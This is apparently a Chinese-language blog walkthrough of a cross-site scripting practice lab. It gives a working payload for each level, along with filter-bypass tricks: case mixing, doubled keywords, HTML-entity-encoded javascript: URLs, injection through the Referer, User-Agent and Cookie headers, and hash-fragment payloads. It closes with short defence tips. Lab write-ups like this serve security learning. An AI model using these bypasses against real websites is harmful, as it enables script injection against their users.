level1

直接构造

1
<script>alert(1)</script>

level2

闭合构成

1
1"><ScRipt>alert(1)</ScRipt>

level3

  • PHP htmlspecialchars() 函数
  • htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

    预定义的字符是:
    & (和号)成为 &amp
    “ (双引号)成为 &quot
    ‘ (单引号)成为 &#039
    < (小于)成为 &lt
    (大于)成为 &gt

htmlspecialchars方法过滤了<>”符号 闭合方式用’
使用on事件

1
2
' onclick ='javascript:alert(1)'//
' onmouseover='javascript:alert(1)'

level4

过滤<> 闭合方式用”

1
2
3
4
" onchange=alert`1`
" onchange=alert`1` //
" oninput=alert`1` "
" oninput=alert`1` //

level5

script过滤了,onclick也过滤了
构造a标签

1
2
3
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

level6

过滤了<script、on、src、data、href
它只替换了小写的特定单词,其他类型的不会替换,使用大小写混写绕过

1
2
3
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //
"><a Href=javascript:alert(1)>xss</a>

level7

大写转换小写过滤<script、on、src、data、href
但过滤了一次,可以双拼

1
2
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //

level8

大写转换小写过滤
在a标签内无法闭合 可用unicode编码(只能用于语句中,不能用于闭合<>等)
将javascript:alert(1)转成unicode编码

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
  • 为什么unicode能成功呢?
    原来unicode是实体编码,同一个符号,可以用“实体名称”和“实体编号”两种方式引用,“实体名称”的优势在于便于记忆,但不能保证所有的浏览器都能顺利识别它,而“实体编号”则没有这种担忧,但它实在不方便记忆。
    所以html既可以识别实体名称,又可以识别实体编号

level9

大写转换小写过滤
本题目难点在于它会自动检测url,如果发现没有带http:// 内容则会显示不合法,那么应该如何绕过呢?
构造的链接中必须要含有http://

1
2
java&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://

level10

有三个隐藏输入框 F12一个个试看哪个输入框能传值
最后发现只用t_sort可以传值

1
&t_sort="; type="text" onclick='alert(1)' //type值要有才能点击输入框

level11

过滤了”,手动输入传值无法闭合,那就用bp抓包
发现修改Referer的值可以传值

1
2
" type="text " onmouseover="alert(1)
" type="text " onmousedown="alert(1)

level12

同level11原理
这里修改User-Agent的值

1
2
" type="text " onmouseover="alert(1)
" type="text " onmousedown="alert(1)

level13

同level11和level12原理
这里修改cookie的值

1
2
" type="text " onmouseover="alert(1)
" type="text " onmousedown="alert(1)

level14

原来跳转的网站停了,玩不了
就是上传一个含有xss代码的图片触发xss。
如图片的标题、主题、标记等改成xss语句

level15

  • ng-include 指令用于包含外部的 HTML 文件。
    包含的内容将作为指定元素的子节点。
    ng-include 属性的值可以是一个表达式,返回一个文件名。
    默认情况下,包含的文件需要包含在同一个域名下。
    语法
1
< element  ng-include= "filename"  οnlοad= "expression"  autoscroll= "expression"  > < /element >

ng-include 指令作为元素使用:

1
< ng-include  src= "filename"  οnlοad= "expression"  autoscroll= "expression"  > < /ng-include >

所有的 HTML 元素都支持该指令。
这里可以调用同一个域名里的文件(网站)来进行xss攻击

1
2
src='level1.php?name=<img src=1 onerror=alert(1)>'
src='level2.php?keyword='><img src=1 onerror=alert(1)>' //?后面是相应网站xss的语句

level16

过滤了script和” ‘还有空格

  • 空格可以用
1
%20 %09 %0a %0b %0c %0d %a0 %00

level17

  • embed可以用来插入各种多媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,Netscape及新版的IE 都支持。url为音频或视频文件及其路径,可以是相对路径或绝对路径。
    示例:
    代码如下:
1
<embed src="your.mid">

Firefox是能支持,查了需要插件,就换成谷歌

1
?arg01=a&arg02=b onmouseout=alert(1)

level18

同level17一模一样

level19 和level20

都用的flash xss(不会)

白名单问题

  • 源码中设置了白名单,并且在白名单之外的都使用上一次的http头部
    这里绕过白名单需要用到#(hash),可以参考https://www.cnblogs.com/lishanlei/p/10707824.html这篇文章,解释得很详细。
    我们直接利用#将原来的payload放在URL里,这样它只会在前端触发,而不经过后端,因此也不会受到后端白名单的限制。
1
#<script>alert(0)</script>

防护xss

  • 不留闭合机会
    过滤掉< > ‘ “ & #等字符
  • htmlspecialchars() 函数传进来的字符都转换为 HTML 实体。
更新于

请我喝[茶]~( ̄▽ ̄)~*

ZhiCat 微信支付

微信支付

ZhiCat 支付宝

支付宝

ZhiCat 贝宝

贝宝